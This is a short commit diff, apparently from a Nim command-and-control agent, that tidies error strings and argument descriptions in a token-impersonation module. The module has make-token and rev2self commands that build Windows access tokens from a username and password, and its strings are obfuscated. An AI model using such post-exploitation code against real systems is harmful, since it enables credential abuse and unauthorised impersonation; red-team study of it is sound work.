Standardized console spacing between commands.
This commit is contained in:
@@ -4,7 +4,6 @@ import ../common/[types, utils]
|
||||
proc executeMakeToken(ctx: AgentCtx, task: Task): TaskResult
|
||||
proc executeRev2Self(ctx: AgentCtx, task: Task): TaskResult
|
||||
|
||||
|
||||
# Module definition
|
||||
let module* = Module(
|
||||
name: protect("token"),
|
||||
@@ -17,7 +16,7 @@ let module* = Module(
|
||||
description: protect("Create an access token from username and password."),
|
||||
example: protect("make-token LAB\\john Password123!"),
|
||||
arguments: @[
|
||||
Argument(name: protect("username"), description: protect("Account username prefixed with domain in format: domain\\username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("domain\\username"), description: protect("Account domain and username."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("password"), description: protect("Account password."), argumentType: STRING, isRequired: true),
|
||||
Argument(name: protect("logonType"), description: protect("Logon type (https://learn.microsoft.com/en-us/windows-server/identity/securing-privileged-access/reference-tools-logon-types)."), argumentType: INT, isRequired: false)
|
||||
],
|
||||
@@ -59,14 +58,14 @@ when defined(agent):
|
||||
# Split username and domain at separator '\'
|
||||
let userParts = username.split("\\", 1)
|
||||
if userParts.len() != 2:
|
||||
raise newException(CatchableError, protect("Invalid username format. Expected: <DOMAIN>\\<USERNAME>.\n"))
|
||||
raise newException(CatchableError, protect("Expected format domain\\username."))
|
||||
|
||||
if task.argCount == 3:
|
||||
logonType = cast[DWORD](Bytes.toUint32(task.args[2].data))
|
||||
|
||||
if not makeToken(userParts[1], password, userParts[0], logonType):
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.\n")))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}." & "\n"))
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(protect("Failed to create token.")))
|
||||
return createTaskResult(task, STATUS_COMPLETED, RESULT_STRING, string.toBytes(fmt"Impersonated {username}."))
|
||||
|
||||
except CatchableError as err:
|
||||
return createTaskResult(task, STATUS_FAILED, RESULT_STRING, string.toBytes(err.msg))
|
||||
|
||||
Reference in New Issue
Block a user